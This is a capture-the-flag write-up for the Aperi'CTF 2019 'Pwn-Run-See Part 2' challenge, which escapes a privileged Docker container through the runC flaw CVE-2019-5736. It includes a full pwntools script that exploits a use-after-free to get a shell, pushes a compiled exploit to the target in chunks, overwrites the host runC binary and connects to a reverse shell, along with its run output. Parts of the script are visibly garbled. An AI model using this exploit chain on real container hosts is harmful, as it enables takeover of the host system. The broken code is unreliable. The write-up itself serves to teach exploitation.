Pwn-Run-See - Part 2

Aperi'CTF 2019 - Pwn (250 pts).

Aperi’CTF 2019 - Pwn-Run-See - Part 2

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Pwn-Run-See - Part 2 Pwn 250 2

We’re given a docker-compose.yml configuration file.

Task description:

Reynholm Industries’ ticket management service seems to be running in a container, fortunately you found its configuration file on the Internet.

Find a way to take control of the hosting server and learn more about Reynholm Industries.

The task is to get out of the container using the access we got from the previous step.

Post exploitation

First, we’ve to ensure that we’re running in a Docker container. Since Docker container relies on cgroups and namespaces to isolate itself from the host and other containers, we can check if our devices belongs to a specific control group:

cat /proc/1/cgroup

It’s definitely a Docker container named b505d9295ae5c8b25b2e2e4d8be0833fb290818c44f0a1af95485ec16d5482fc! Let’s inspect its init command line (

cat /proc/1/cmdline

Looking at the command line of the init process, we can retrieve the starting script of the Docker container:


/etc/init.d/xinetd start
sleep infinity

Nothing really noteworthy, it’s basically a startup script for xinetd which is used to serve the challenge application (see first step).

Since it’s the only process that’ll be executed in the Docker container, there’s probably something that we can exploit to escape the Docker container. What about the Docker volumes?

Docker volumes

To list the Docker volumes from the inside of the container, we can simply enum the mount points and see which one has been mounted from a physical volume (actually virtual but it’s seen as a physical volume inside the container):

mount | grep -E "^/dev/"
/dev/sda1 on /etc/xinetd.conf type ext4 (ro,relatime,errors=remount-ro,data=ordered)
/dev/sda1 on /data/chall type ext4 (ro,relatime,errors=remount-ro,data=ordered)
/dev/sda1 on /data/flag type ext4 (ro,relatime,errors=remount-ro,data=ordered)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda1 on /etc/xinetd.d/ctf type ext4 (ro,relatime,errors=remount-ro,data=ordered)

Once again, there is nothing really interesting, the hostname, resolv.conf and hosts files are writable and the other challenge files are read-only.

Let’s take a look at the given docker-compose.yml configuration file.


Analyzing the docker-compose.yml file is pretty obvious since it’s a well-known and well-configured file (see the documentation).


There is only one service called pwn-run-see.


The container is running over the creased/xinetd:latest image which is public.

Let’s analyze this image using dive:

docker pull creased/xinetd:latest
dive -j report.json creased/xinetd:latest


  "layer": [
      "index": 0,
      "digestId": "sha256:5dacd731af1b0386ead06c8b1feff9f65d9e0bdfec032d2cd0bc03690698feda",
      "sizeBytes": 55266564,
      "command": "#(nop) ADD file:4fc310c0cb879c876c5c0f571af665a0d24d36cb9263e0f53b0cda2f7e4b1844 in / "
      "index": 1,
      "digestId": "sha256:8d97195c3bcc2b294a2eecbb5242caed8d5ffc3356e17bf8e3c637f944508489",
      "sizeBytes": 74212807,
      "command": "dpkg --add-architecture i386 \u0026\u0026     apt-get update \u0026\u0026     apt-get install -y --no-install-recommends --no-install-suggests xinetd netcat libc6-dev:i386"
      "index": 2,
      "digestId": "sha256:3601e14907cf56f86dba0e629bdff11d506865d9a1105ec48a354436f078a640",
      "sizeBytes": 53,
      "command": "#(nop) COPY file:fcc7929a516a9e79c7885f2e1e0849709d244b51905e391ccebf1fd9c6ec6bf3 in / "
      "index": 3,
      "digestId": "sha256:bc0e8f5e03cfbcbf38adff43bdbeddab00940176308c96e03e1be00217f3c89f",
      "sizeBytes": 53,
      "command": "chmod +x /"
      "index": 4,
      "digestId": "sha256:6a316e08802ea113fe51b1c30b5b5cb6a675a4591ebc0d479d14eeae82e30f68",
      "sizeBytes": 0,
      "command": "#(nop) WORKDIR /data"

The container is based on debian:stretch-slim and basically embbed a xinetd service and netcat. Nothing really relevant here.


No user remapping has been configured and the container is running in privileged mode. It’s a valuable information since the privileged mode allows us to exploit extended Linux capabilities.


An healthcheck has been configured and is used apparently to ping the xinetd service using netcat every 10 seconds.

Let’s see if we see this process from the inside of the container using a beautiful oneline (don’t blame me, there is no Python script interpreter in the container 😄):

echo 'while true; do touch ./watchdog; find /proc -maxdepth 1 -type d -name "[0-9]*" -cnewer ./watchdog -exec sh -c "cat {}/cmdline | grep -Eav '"'"'(cat)|(grep)|(sleep)|(touch)|(search\.sh)'"'"'" \; 2>/dev/null; done' >
chmod +x

A runC process is spawned every 10 seconds which corresponds to our healthcheck process.

runC process

The runC init process is responsible of running the healthcheck process inside the container and is executed in memory using the memfd_create() function.

The memfd_create() system call is close to malloc() but it does not return a pointer to the allocated memory but rather returns a file descriptor that refers to an anonymous file that is only visible in the filesystem as a link in /proc/PID/fd/ which may be used to execute it using execve().

The name supplied in name is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory /proc/self/fd/.

There was a flaw in the way runC handled system file descriptors when running containers that allows us to overwrite content of the runC binary and consequently run arbitrary commands on the container host system.

The security flaw has been fixed to create a temporary copy of the calling binary itself when it starts or attaches to containers, thus allowing to prevent further modifications.

To summarize the /proc/PID/exe file is a symbolic link created by the kernel for every process which points to the binary that was executed for that process, in this case the host runC binary which can be overwritten in a privileged Docker container.

Escaping Docker container

To exploit this vulnerability, I’ve developped a new C exploit based on the original post from DragonSector’s blog.

The exploit consists in:

  1. Waiting for a runC process to spawn in the Docker container
  2. Creating a new file descriptor to lock the original file descriptor
  3. Opening it for writing
  4. Overwriting the runC binary
  5. Waiting for the next runC process to spawn to finally get a shell on the host system

The exploit can be picked on my GitHub Gist repo.

To drop the exploit on the remote system, we can use pwntools and pipe the compressed pre-compiled exploit to the remote system:

gcc -Wall -static -Os -s -o cve-2019-5736 cve-2019-5736.c


# coding: utf8

import base64
import os
import gzip
import time

from io import BytesIO
from pwn import *

MAX_SIZE = 768  # Change if an error occurs while sending the exploit.
PROMPT = "# "
GDB = False
LOCAL_EXPLOIT = 'cve-2019-5736'
REMOTE_EXPLOIT = '/data/exploit'
HOST = ''

context.log_level = 'info'

## CREATE PROCESS'Opening a remote connection...')
p = remote(HOST, 31337)

if GDB:
    gdb_cmd = 'c'
    gdb.attach(p, gdb_cmd)

elf = ELF('./files/chall')

def recv_menu():
    p.recvuntil('Your choice:\n=> ')

def new_ticket(name, service, description):
    p.recvuntil('Your name: ')
    p.recvuntil('The destination service: ')
    p.recvuntil('Description: ')

def process_tickets():

## GET SHELL'Stage 1 - Get a shell!\n')

run_task = elf.symbols['run_task']'Creating junk tickets...')
new_ticket('Blah', 'ADM', 'Junk')
new_ticket('Blah', 'ADM', 'Junk')
new_ticket('Blah', 'ADM', 'Junk')
new_ticket('Blah', 'ADM', 'Junk')'Creating an intern...')
new_ticket('Blah', 'ADM', 'Create intern')

recv_menu()'Overwriting the intern...')
new_ticket("The giver", "ADM", '%s/bin/sh' % p32(run_task))
new_ticket("Get flag", "ADM", "-i")'Getting a shell...')

p.sendline('cat /data/flag')
flag1 = p.recvline()'Flag 1: %s' % flag1)'Stage 2 - Escape the Docker container!\n')


### Compress the exploit using gzip.'Compressing the exploit...')

buf = BytesIO()
with open(LOCAL_EXPLOIT, 'rb') as exploit_fd:
    exploit =

with gzip.GzipFile(mode='wb', fileobj=buf) as fd:

### Encode it in base64.
exploit = base64.b64encode(buf.getvalue())

### Flush the tube.'Flushing the tube...')

### Send the base64(gzip(exploit)) on the remote host.'Sending the exploit...')

start_time = time.time()


#### Chunking send.
for i in range(0, len(exploit), MAX_SIZE):
    chunk = exploit[i:i+MAX_SIZE]
    p.sendline('echo -n "{0}" >>{1}.z'.format(chunk, REMOTE_EXPLOIT))
    p.recvuntil(PROMPT)'Send: {0}/{1}'.format(i, len(exploit)))

elapsed_time = time.time() - start_time
log.success('Exploit has been sent in {}!'.format(time.strftime('%H:%M:%S', time.gmtime(elapsed_time))))

### Decompress the exploit on the remote host.'Decompressing the exploit...')
p.sendline('cat {0}.z | base64 -d - | gzip -dcq >{0}'.format(REMOTE_EXPLOIT))

### Mark the exploit as executable.
p.sendline('chmod +x {0}'.format(REMOTE_EXPLOIT))

### Run the exploit.'Running the exploit...')
p.recvuntil('[+] Successfully overwritten the file!\n')


### Get remote shell'Getting a reverse shell...')
p2 = remote(HOST, 31338)

## Get flag
p2.sendline('cat /root/flag')
flag2 = p.recvline(timeout=0.5)'Flag 2: %s' % flag2)

[*] Stage 1 - Get a shell!
[*] Creating junk tickets...
[*] Creating an intern...
[*] Overwriting the intern...
[*] Getting a shell...
[*] Flag 1: APRK{Us3_3m_4Ll_4f73r_fR3e!}
[*] Stage 2 - Escape the Docker container!
[*] Compressing the exploit...
[*] Flushing the tube...
[*] Sending the exploit...
[*] Send: 0/379792
[*] Send: 379392/379792
[+] Exploit has been sent in 00:00:00!
[*] Decompressing the exploit...
[*] Running the exploit...
[*] Getting a reverse shell...
[*] Flag 2:
[*] Switching to interactive mode

The final flag is APRK{N3V3r_l0ok_b4cK_4Nd_w1n_thE_RAc3!}

Happy Hacking!